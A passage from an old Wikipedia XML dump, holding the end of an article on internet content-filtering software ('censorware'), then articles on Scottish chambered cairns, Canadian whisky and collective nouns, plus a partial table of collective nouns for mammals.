Those who believe censorware is useful may still not agree with certain ways it is used, or with mandatory general regulation of information.  For example, many would disapprove of filtering viewpoints on moral or political issues, agreeing that this could become support for [[propaganda]].  Many would also find it unacceptable that an ISP, whether by law or by the ISP's own choice, should deploy such software without allowing the users to disable the filtering for their own connections. In addition, some argue that using censorware may violate sections 13 and 17 of the [[Convention on the Rights of the Child]].

== History ==

As the World Wide Web rose to prominence, parents, led by a series of sensational stories in the mass media, began to worry that allowing their children to use the Web might expose them to indecent material. The US Congress responded by passing the [[Communications Decency Act]], banning indeceny on the Internet. Civil liberties groups challenged the law under the [[First Amendment]] and the [[Supreme Court of the United States|Supreme Court]] ruled in their favor. Part of the civil liberties argument, especially from groups like the [[Electronic Frontier Foundation]], was that parents who wanted to block sites could use their own content-filtering software, making government involvement unnecessary.

Critics then argued that while content-filtering software might make government [[censorship]] less likely, it would do so only by allowing unaccountable private companies to censor as they pleased. They further argued that government encouragement of content filtering, or legal requirements for content-labeling software, would be equivalent to censorship. Groups such as [[The Censorware Project]] began reverse-engineering the censorware software and decrypting the blacklists to determine what kind of sites the software blocked. They discovered that such tools routinely blocked unobjectionable sites while also failing to block intended targets. An example of this tendency was the filtering of all sites containing the word &quot;[[breast]]&quot;, on the assumption that this word could only be mentioned in a sexual context. This approach had the consequence of blocking sites that discuss [[breast cancer]], women's clothing, and even chicken recipes. Similarly, over-zealous attempts to block the word &quot;sex&quot; would block words such as &quot;[[Essex]]&quot; and &quot;[[Sussex]]&quot;.

Some censorware companies responded by claiming that their filtering criteria were backed by intensive manual checking. The companies' opponents argued, on the other hand, that performing the necessary checking would require resources greater than the companies possessed and that therefore their claims were not valid.

== Use in public libraries ==

Censorware such as [[SonicWALL]] is used in many public libraries in the United States to block content classed as objectionable because of pornography or advocacy of violence. Some libraries that employ censorware allow the software to be deactivated on a case-by-case basis on application to a librarian. 

Many legal scholars believe that a number of legal cases [http://www.spectacle.org/cs/library.bak], in particular ''Reno v. ACLU'' [http://www2.epic.org/cda/cda_decision.html], establish that the use of censorware in libraries is a violation of the First Amendment. The [[American Library Association]] has taken a stance opposing internet filtering.

== Bypassing filters ==

Some software may be bypassed successfully by using alternative protocols such as [[ftp]], conducting searches in a different language, or using a [[Proxy_server|proxy server]].

Some of the more poorly-designed filters can be shut down by killing their processes; for example, in Microsoft Windows through the Windows Task Manager, or in Mac OS X using Activity Monitor.

==Content-filtering software products==
As described above, many censorware products as well as the concept of censorware in general, especially in government-funded services or those not age-restricted, can be controversial. Many ISPs offer parental control options, among them [[Earthlink]], [[Yahoo!]], and [[AOL]]; and more general software such as [[Norton Internet Security]] includes &quot;parental controls&quot;. The upcoming [[Windows Vista]] operating system may also include &quot;parental controls.&quot; See the [[:Category:Censorware|Censorware category]] for a number of articles on censorware products.

==See also==
* [[Internet pornography]]
* [[Censorship in cyberspace]]
* [[Censorship]]
* [[Image retrieval]]
* [[Geolocation]]
* [[Geolocation software]]
* [[Computer surveillance]]

==External links==
* http://censorware.net Censorware Project: Exposing the secrets of censorware since 1997
* http://www.peacefire.org/ Open Access for the Net Generation
* [http://sethf.com/anticensorware/ Seth Finkelstein's Anticensorware Investigation]
* [http://censorware.net/reports/liza.html Protecting Judges against Liza Minelli]
* [http://www.peacefire.org/bypass/ Bypassing Censorware]

===Opinions for and against censorware===
*[http://dmoz.org/Society/Issues/Science_and_Technology/Computers/Internet/Content_Filtering/Pro/ DMoz category: Pro-censorware opinions]
*[http://dmoz.org/Society/Issues/Science_and_Technology/Computers/Internet/Content_Filtering/Con/ DMoz category: Anti-censorware opinions]

[[Category:Internet]]
[[Category:Web browsers]]
[[Category:Censorware| ]]

[[fr:Filtrage d'internet]]
[[ja:フィルタリングソフト]]
[[sv:Internetfilter]]</text>
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      <timestamp>2006-02-14T01:22:36Z</timestamp>
      <contributor>
        <username>NekoDaemon</username>
        <id>239574</id>
      </contributor>
      <minor />
      <comment>Robot: [[Cat#Communication|Nyaa]]! [[Template talk:Categoryredirect|Categoryredirect]]: [[Category:Old World Stone Age]] → [[Category:Stone Age]].  Requested change by [[User:Kbdank71|]]</comment>
      <text xml:space="preserve">A '''chambered cairn''' is a burial monument, usually constructed during the [[Neolithic]], consisting of a [[cairn]] of stones inside which a sizeable (usually stone) chamber was constructed. Some chambered cairns are also [[passage grave|passage-graves]].

Typically, the chamber is larger than a [[cist]], and will contain a larger number of interments, which are either [[Excarnation|excarnated]] bones or inhumations (cremations). Most were situated near a settlement, and served as that community's &quot;graveyard&quot;. 

== Chambered cairns in [[Scotland]] ==

Scotland has a particularly large number of chambered cairns, many of radically different type. Because of the lack of other remains (the only other significant remains we have are [[Hut circles]] and field systems), they are perhaps the most important clue we have to what civilisation in Scotland was like in the Neolithic. Here is a short description of each type as the classification currently stands:

===Clyde-Carlingford===
The Clyde-Carlingford group are to be found in both Scotland and [[Northern Ireland]]. On the Scottish side, they are mainly found in [[Argyll]] and [[Dumfries and Galloway]], both in the south-west of the country (a small outlying group can be found near [[Perth, Scotland|Perth]]). They are not passage-graves since they lack any significant passage and are properly termed [[gallery grave]]s. The burial chamber (although usually blocked after use) is of very basic design and is normally located at one end of the cairn. As a result, it could be immediately accessed from the outside. An open, semi-circular forecourt at the entrance gives them their alternate name of [[Court cairn]]s. They are generally considered to be the earliest in Scotland, dating from [[4000 BC]] and were probably brought to Scotland from [[Ireland]].

===Hebridean===
Sharing some features with the Clyde-Carlingford group is the Hebridean group. As their name suggests they are normally found in the [[Hebrides]], and have a crude polygonal chamber and a very short passage to one end of the cairn.

===Orkney-Cromarty===
The Orkney-Cromarty group is by far the largest and most diverse. It has been subdivided into Yarrows, Camster and Cromarty subtypes but the differences are extremely subtle. In general, they all have dividing slabs at either side of a rectangular chamber, separating it into compartments. The number of these compartments ranges from 4 in the earliest examples to over 24 in an extreme example on [[Orkney Islands|Orkney]]. The actual shape of the cairn varies from simple circular designs to elaborate 'forecourts' protruding from each end, creating what look like small [[Amphitheatres]]. It is likely that these are the result of cultural influences from mainland [[Europe]], as they are similar to designs found in [[France]] and [[Spain]].

===Bookan===
The Bookan type is thought to be the earliest to be found on [[Orkney Islands|Orkney]]. Because of Orkney's archaeological richness, Bookan type tombs are very hard to find. They are extremely unusual, some being double-deckered! They all seem to have features which suggest some early stage in the development of Maeshowe type tombs.

===Maeshowe===
The [[Maeshowe]] group, named after the famous monument on Orkney, is among the most elaborate. Like their counterparts on [[Shetland Islands|Shetland]], they are unlike anything else in Scotland, so it is possible these were the result of local development, or influences from [[Scandinavia]]. They consist of a central chamber from which lead small compartments, into which burials would be placed.

===Shetland===
A final category is the Shetland group, of which little is known. On plan, they do look similar to the Maeshowe group although the whole chamber is cross-shaped and there are no small compartments.

[[Category:Death customs]]
[[Category:Monument types]]
[[Category:Stone Age]]

[[de:Cairn (Steingrab)]]</text>
    </revision>
  </page>
  <page>
    <title>Currency code</title>
    <id>7146</id>
    <revision>
      <id>15905226</id>
      <timestamp>2003-05-29T19:41:25Z</timestamp>
      <contributor>
        <username>Mic</username>
        <id>6273</id>
      </contributor>
      <minor />
      <comment>Redirect ISO 4217</comment>
      <text xml:space="preserve">#redirect [[ISO 4217]]</text>
    </revision>
  </page>
  <page>
    <title>Canadian whisky</title>
    <id>7147</id>
    <revision>
      <id>33631902</id>
      <timestamp>2006-01-02T20:23:48Z</timestamp>
      <contributor>
        <ip>68.179.16.113</ip>
      </contributor>
      <comment>Removed duplicate entry for Crown Royal; changed to reflect Diageo ownership of Seagram brand</comment>
      <text xml:space="preserve">'''Canadian whisky''' is [[whisky]] made in [[Canada]]; by law it must be aged there at least three years in a barrel.  Most Canadian whiskies are [[Blended whiskey |blended]] multi-grain [[whisky|whiskies]]. These are often casually called &quot;[[Rye Whisky |rye whisky]]&quot; although they contain proprietary blends of [[maize |corn]] (maize), [[barley]], and [[rye]].  

Canadian whisky featured prominently in illegal imports (known as [[bootlegging]]) into the U.S. during [[Prohibition]] in the [[1920s]]. [[Hiram Walker]] and [[Seagram]]'s have distilleries in [[Windsor, Ontario]] across the [[Detroit River]] from [[Detroit]], [[Michigan]] that easily served small, fast smuggling boats. The long mainly unpatrolled U.S.-Canadian border made [[smuggling]] fairly easy.

== Canadian single malt ==

Since 1991 Glenora, an independent distillery in Glenville, Nova Scotia, on [[Cape Breton Island]], has been producing unblended malt whisky in the [[Scotch whisky |Scottish]] style.  Their product, ''Glen Breton Rare'', was [[as of 2003]] the only [[single malt whisky]] produced in Canada, and the oldest of the few produced in the Americas.

== List of Canadian whiskies ==

=== Canadian single malt ===

* [[Glenora Distillery]], Glenville, Nova Scotia (independent)
** [[Glen Breton Rare]]

=== Canadian blended whisky ===

* [[Alberta Distillers]], Calgary (independent)
** [[Alberta Premium]]
** Alberta Springs Rye Whisky 10 Years Old
** Tangle Ridge Aged 10 Years

* [[Allied Domecq]]
** McGuinness Silk Tassel

* [[Barton]]
** Barton's Canadian 36 Months Old
** Canadian Host
** Canadian Supreme
** Corby's Canadian 36 Months Old
** McMaster's
** Northern Lights

* [[Canadian Mist Distillers]], Collingwood, Ontario (Brown-Forman)
** Canadian Mist

* [[Century Distilling]], Vancouver
** [[Century Reserve]] 8 Year Old
** Century Reserve 13 Year Old
** Century Reserve 15 Year Old
** Century Reserve 21 Year Old

* [[Corby Distilleries]], Toronto (Allied)
** Gooderham &amp; Worts Ltd
** Lot No. 40
** Pike Creek
** Royal Reserve
 
* [[Highwood Distillery]], High River, Alberta
** Centennial 10 Year Old Rye Whisky
** Highwood Canadian Rye Whisky
** Saskatchewan Wheatland Rye Whisky

* [[Hiram Walker]] (Allied)
** [[Canadian Club]] Premium
** Canadian Club Sherry Cask Aged Eight Years
** Canadian Club Reserve 10 Years of Age
** Canadian Club Premium Classic Aged 12 Years
** Hiram Walker Special Old Rye Whisky
** [[Wiser's De Luxe]]
** Wiser's De Luxe 10 Years Old
** Wiser's Special Blend
** Rich &amp; Rare

* [[Kittling Ridge]] (independent)
** Forty Creek Barrel Select
** Forty Creek Three Grain

* [[Maple Leaf Distillers]], Winnipeg
** Canadian Cellars Rye Whisky

* [[Schenley]] (Barton)
** Black Velvet DeLuxe
** [[Gibson's Finest]] Aged 12 Years
** Gibson's Finest Rare Aged 18 Years
** Gibson's Finest Sterling Edition
** Schenley Golden Wedding
** [[Schenley OFC]] Aged 8 Years

* [[Diageo]]
** [[Crown Royal]]
** Crown Royal Limited Edition
** Crown Royal Special Reserve
** Seagram's 83 Canadian Whisky
** Seagram's Five Star Rye Whisky
** [[Seagram's VO]]

== External links ==
*[http://www.glenoradistillery.com/ Glenora Distillery]
*[http://www.thewhiskyguide.com/ The Whisky Guide]

== See also ==
* [[Bourbon whiskey]]
* [[Corn whiskey]]
* [[Irish whiskey]]
* [[Moonshine]]
* [[Rye whiskey]]
* [[Scotch whisky]]
* [[Tennessee whiskey]]
* [[Welsh whisky]]
* [[Whisky]]

[[Category:Canadian whisky]]
[[Category:Canadian culture]]

[[zh:&amp;#21152;&amp;#25343;&amp;#22823;&amp;#23041;&amp;#22763;&amp;#24524;]]</text>
    </revision>
  </page>
  <page>
    <title>Collective noun</title>
    <id>7148</id>
    <revision>
      <id>38894037</id>
      <timestamp>2006-02-09T08:46:23Z</timestamp>
      <contributor>
        <username>Adammathias</username>
        <id>478268</id>
      </contributor>
      <comment>/* Origin */</comment>
      <text xml:space="preserve">'''Collective nouns''' are subject-specific words used to define a grouping of people, animals, objects or concepts. For example, in the phrase &quot;[[The Silver Chair|a parliament of owls]]&quot;, ''parliament'' is a collective noun.

== Origin ==

Most collective nouns encountered in everyday speech (such as &quot;team&quot;) are [[mundane]] and take no particular object.  However, many of the oft-discussed examples are fanciful and are the only proper collective for a given noun. 

This stems from an English [[hunting]] tradition dating back to at least the [[15th century]] of giving poetic names to prey.  These were known as &quot;terms of venery&quot; (where &quot;venery&quot; means the hunting of animals). For this reason, there are many collective nouns that refer to animals and many of these original collective nouns are archaic: a &quot;harass of horses&quot; doesn't seem to have been used much since the [[1400s]].  Some alternatives for collective nouns can be clearly traced to the evolution of [[pronunciation]] in different areas (hence a &quot;parcel of hogs&quot; and a &quot;passel of hogs&quot;).

Interest in collective nouns has always remained high, and the [[neologism]] of candidate collective nouns has been a pastime of many writers ever since. Some have achieved an entry in a respected dictionary, the vast majority have not, though many collective nouns have been circulated on websites such as this one and in [[popular]] discourse for [[humor]]ous reasons or as [[trivia]]. In at least two cases (an &quot;abomination of monks&quot; and &quot;a court of kangaroos&quot;) some authoritative resources allege them to be accurate, however research has proved these to be spurious as well.

Most recently, one author of a [[computer]] book invented some obviously joking collective nouns which systems developers could relate to, including a &quot;bleat&quot; of users; a &quot;retreat&quot; of consultants; and a &quot;trough&quot; of salespersons.

== Application ==
In [[British English]], one says &quot;the team are...&quot; (i.e., collectives are seen as plurals), whereas in the [[United States English|English spoken in the United States]] and at least in other [[Indo-European languages]], one says &quot;the team is...&quot; (seen as a singular noun, unless it is actually &quot;teams&quot;). See [[Differences between American and British English#Singular_and_plural_for_nouns|Differences between American and British English -Singular and plural for nouns]].

Some common collective nouns are used to refer to multiple distinct groups.  &quot;Herd&quot; is a legitimate collective noun for dozens of animal species and the mythical [[fairy]].  &quot;Set&quot; and &quot;group&quot; are used broadly to refer to collections of concepts or objects.

Sometimes a collective noun will only apply to a group in a certain context.  &quot;Herd&quot; can properly refer to a group of wild horses, but not to a group of domestic horses.  A &quot;paddling of ducks&quot; only refers to ducks on water.

== See also==
===Linguistics===
*[[Mass noun]]
*[[Measure word]]s
*[[Noun class]]es

===English language===
*[[Collective nouns sorted by subject]]
*[[Collective nouns sorted by collective term]]
*[[Collective nouns for people]]
*[[Collective nouns for mammals, non-human]]
*[[Collective nouns for birds]]
*[[Collective nouns for reptiles and amphibians]]
*[[Collective nouns for fish, invertebrates and plants]]
*[[Collective nouns for objects and concepts]]
*[[List of animal names]]

== Bibliography ==

* Lipton, James. ''An Exaltation of Larks''. Penguin. 1991

== External links == 
The collection of genuine and spurious English collective nouns has proved an interesting diversion for many website writers:
* http://www.ojohaven.com/collectives/
* http://rinkworks.com/words/collective.shtml
* http://www.sanjeev.net/collective-nouns/index.html

[[Category:Grammar]]
[[Category:Rhetoric]]

[[da:Kollektivum]]
[[de:Sammelbegriff]]
[[pt:Substantivo colectivo]]
[[ru:Singularia tantum]]</text>
    </revision>
  </page>
  <page>
    <title>List of collective nouns by subject</title>
    <id>7149</id>
    <revision>
      <id>26561513</id>
      <timestamp>2005-10-26T21:34:10Z</timestamp>
      <contributor>
        <ip>83.208.105.32</ip>
      </contributor>
      <text xml:space="preserve">[[Collective noun]]&lt;br&gt;
[[List of collective nouns]]

* [[List of collective nouns by subject A-H]]
* [[List of collective nouns by subject I-Z]]

'''Notes:''' &lt;br&gt;
The phrase &quot;An abomination of monks&quot; is frequently cited as a legitimate collective noun for monks. It is actually a misinterpretation of the title of a protestant treatise written by [[Jan Hus]] around 1400.  A gaggle of geese in Czech would be a 'hejno hus.'

An &quot;anthology of prostitutes&quot; is a pun on &quot;anthology of prose&quot;, as &quot;pro&quot; is a common contraction for prostitute in Britain and elsewhere.

The phrase &quot;A court of kangaroos&quot; is frequently thought to be legitimate, given the (quite unrelated) expression &quot;a kangaroo court&quot;. There is no known evidence of its legitimacy as a collective noun, however.

A &quot;ream of paper&quot; - A ream is traditionally defined as 480 sheets (twenty [[quire|quires]] of twenty-four sheets each); the more usual modern count is 500 sheets to the ream.  This is more a measure of paper than a collective noun, however.

[[Category:Lists of collective nouns|Subject]]</text>
    </revision>
  </page>
  <page>
    <title>Collective nouns sorted by collective term</title>
    <id>7150</id>
    <revision>
      <id>15905230</id>
      <timestamp>2002-09-01T22:25:22Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to List of collective nouns by collective term</comment>
      <text xml:space="preserve">#REDIRECT [[List of collective nouns by collective term]]</text>
    </revision>
  </page>
  <page>
    <title>List of collective nouns for non-human mammals</title>
    <id>7151</id>
    <revision>
      <id>38757105</id>
      <timestamp>2006-02-08T12:50:13Z</timestamp>
      <contributor>
        <username>UtherSRG</username>
        <id>33145</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{disputed}}

{| border = 0
! SUBJECT 
!COLLECTIVE TERM
! &lt;center&gt;STATUS&lt;/center&gt;
|- 
! [[aardvark|aardvarks]] 
| An armory of aardvarks
| &lt;center&gt;Spurious&lt;/center&gt;
|- 
! [[antelope|antelope]] 
| A herd of antelope
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[ape|apes]] 
| A shrewdness of apes
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[ape|apes]] 
| A troop of apes
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[donkey|asses]] 
| A pace of asses
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[baboon|baboons]] 
| A congress of baboons
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[baboon|baboons]] 
| A troop of baboons
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[baboon|baboons]] 
| A flange of baboons
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[badger (animal)|badgers]] 
| A cete of badgers
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[bat]]s 
| A colony of bats
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[bear|bears]] 
| A sloth of bears
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[beaver|beavers]] 
| A colony of beavers
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[beaver|beavers]] 
| A lodge of beavers
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[boar|boars]] 
| A singular of boars
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[boar|boars]] 
| A sounder of boars
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[bovine|buffalo]] 
| A herd of buffalo
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[bovine|buffalo]] 
| An obstinacy of buffalo
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[camel|camels]] 
| A complaint of camels
| &lt;center&gt;Uncertain&lt;/center&gt;
|- 
! [[camel|camels]] 
| A flock of camels
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[cat|cats (feral or wild)]] 
| A destruction of cats (feral or wild)
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[cat|cats]] 
| A clowder of cats
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[cat|cats]] 
| A cluster of cats
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[cat|cats]] 
| A clutter of cats
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|-
! [[cat|cats]]
| A colony of cats
| Andrew Lang, www.vetclinpathjournal.org, www.humane-so-arizona.org
|- 
! [[cat|cats]] 
| A glaring of cats
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[cat|cats]] 
| A pounce of cats
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[cattle|cattle]] 
| A drove of cattle
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[cattle|cattle]] 
| A herd of cattle
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[cattle|cattle]] 
| A kine of cattle
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[chamois|chamois]] 
| A herd of chamois
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[horse|colts]] 
| A rag of colts
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[horse|colts]] 
| A rake of colts
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[rabbit|conies]] 
| A bury of conies
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[cattle|cows]] 
| A flink of cows
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[cattle|cows]] 
| A herd of cows
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[dog|curs]] 
| A cowardice of curs
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[deer|deer]] 
| A herd of deer
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[deer|deer]] 
| A leash of deer
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[deer|deer]] 
| A parcel of deer
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[dog|dogs]] 
| A pack of dogs
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|-
! [[dolphin|dolphins]] 
| A pod of dolphins
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[elephant|elephants]] 
| A herd of elephants
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[elephant|elephants]] 
| A parade of elephants
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[moose|elk]] 
| A gang of elk
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[ferret|ferrets]] 
| A business of ferrets
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[ferret|ferrets]] 
| A fesnying of ferrets
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[fox|foxes]] 
| A leash of foxes
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[fox|foxes]] 
| A skulk of foxes
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[giraffe|giraffes]] 
| A corps of giraffes
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[giraffe|giraffes]] 
| A tower of giraffes
| &lt;center&gt;Uncertain&lt;/center&gt;
|- 
! [[goat|goats]] 
| A tribe of goats
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[goat|goats]] 
| A trip of goats
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[gorilla|gorillas]] 
| A band of gorillas
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[gorilla|gorillas]] 
| A woop of gorillas
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[guinea pig|guinea pigs]] 
| A scream of guinea pigs
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[hare|hares]] 
| A down of hares
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[hare|hares]] 
| A husk of hares
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[hare|hares]] 
| A leap of hares
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[hare|hares]] 
| A trace of hares
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[hare|hares]] 
| A trip of hares
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[hedgehog|hedgehogs]] 
| A prickle of hedgehogs
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[hippopotamus|hippopotami]] 
| A bloat of hippopotami
| &lt;center&gt;Uncertain&lt;/center&gt;
|- 
! [[hippopotamus|hippopotami]] 
| A crash of hippopotami
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[pig|hogs]] 
| A drift of hogs
| &lt;center&gt;Uncertain&lt;/center&gt;
|- 
! [[pig|hogs]] 
| A parcel of hogs
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[pig|hogs]] 
| A passel of hogs
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[horse|horses]] 
| A harass of horses
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[horse|horses]] 
| A stable of horses
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[horse|horses]] 
| A team of horses
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[dog|hounds]] 
| A cry of hounds
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[hound|hounds]] 
| A mute of hounds
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[hound|hounds]] 
| A pack of hounds
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[hyena|hyenas]] 
| A clan of hyenas
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[kangaroo|kangaroos]] 
| A court of kangaroos
| &lt;center&gt;Spurious (see note)&lt;/center&gt;
|- 
! [[kangaroo|kangaroos]] 
| A mob of kangaroos
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[kangaroo|kangaroos]] 
| A troop of kangaroos
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[cat|kittens (cats)]] 
| A kindle of kittens (cats)
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[rabbit|kittens (rabbits)]] 
| A wrack of kittens (rabbits)
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[sheep|lambs]] 
| A fall of lambs
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[leopard|leopards]] 
| A leap of leopards
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[lion|lions]] 
| A pride of lions
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[lion|lions]] 
| A sault of lions
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[lion|lions]] 
| A sowse of lions
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[horse|mares]] 
| A stud of mares
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[mouse|mice]] 
| A mischief of mice
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[mouse|mice]] 
| A nest of mice
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[mole (animal)|moles]] 
| A company of moles
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[mole (animal)|moles]] 
| A labour of moles
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[mole (animal)|moles]] 
| A movement of moles
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[monkey|monkeys]] 
| A mission of monkeys
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[monkey|monkeys]] 
| A tribe of monkeys
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[mule|mules]] 
| A Rake of mules
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[mule|mules]] 
| A barren of mules
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[ox|oxen]] 
| A span of oxen
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[ox|oxen]] 
| A team of oxen
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[ox|oxen]] 
| A yoke of oxen
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[panda|pandas]] 
| A pandemonium of pandas
| &lt;center&gt;Spurious&lt;/center&gt;
|- 
! [[pekingese|pekingese]] 
| A pomp of pekinese
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[pig|piglets]] 
| A farrow of piglets
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[pig|piglets]] 
| A litter of piglets
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[pig|pigs]] 
| A drove of pigs
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[pig|pigs]] 
| A herd of pigs
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[pig|pigs]] 
| A sounder of pigs
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[polar bear|polar bears]] 
| An aurora of polar bears
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[polecat|polecats]] 
| A chine of polecats
| &lt;center&gt;{{unicode|&amp;#x2713;}}&lt;/center&gt;
|- 
! [[horse|ponies]] 
| A string of ponies
